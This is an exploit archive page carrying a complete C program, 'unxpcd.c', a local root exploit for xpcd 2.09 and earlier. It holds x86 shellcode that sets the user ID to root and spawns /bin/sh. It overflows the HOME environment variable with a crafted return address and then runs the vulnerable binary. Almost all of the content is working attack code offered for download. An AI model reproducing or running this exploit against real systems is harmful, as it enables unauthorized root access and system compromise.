exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

unxpcd.c

unxpcd.c
Posted Nov 2, 2005
Authored by unl0ck, Darkeagle | Site exploiterz.org

xpcd local root exploit for versions 2.09 and belo.

tags | local, root
SHA-256 | 6beff4230abf9da27154ff90780cf32fc8664f49efd3b00063b8d4ef458e4b7a

unxpcd.c

Change Mirror Download
/*

xpcd <= 2.09 local r00t exploit

02.02.05

(c)oded by Darkeagle

*/

#include <stdio.h>
#include <string.h>

char
shellcode[]=

// setreuid(0,0); Coded by ChoiX [unl0ck team]
"\x31\xc0" // xor %eax,%eax
"\x31\xdb" // xor %ebx,%ebx
"\x31\xc9" // xor %ecx,%ecx
"\xb0\x46" // mov $0x46,%al
"\xcd\x80" // int $0x80

// execve /bin/sh
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx
"\x50" // push %eax

"\x53" // push %ebx
"\x8d\x0c\x24" // lea (%esp,1),%ecx
"\xb0\x0b" // mov $0xb,%al
"\xcd\x80" // int $0x80

// exit();
"\x31\xc0" // xor %eax,%eax
"\xb0\x01" // mov $0x1,%al
"\xcd\x80"; // int $0x80

int main(int argc, char *argv[])
{
char buf[1024];
long RET = 0x41424344;
char *path;

printf("\nxpcd local root exploit\n\n\n");

if ( argc < 2 )
{
printf("usage: %s <path>\n", argv[0]);
exit(0);
}

path = argv[1];
RET = 0xbffffffa - strlen(shellcode) - strlen(path);

memset(buf, 'A', 284);
*(long*)&buf[284] = RET;

setenv("HOME", buf, 1);
setenv("SHELLCODE", shellcode, 1);

execl(path, path, NULL);
return 0;
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close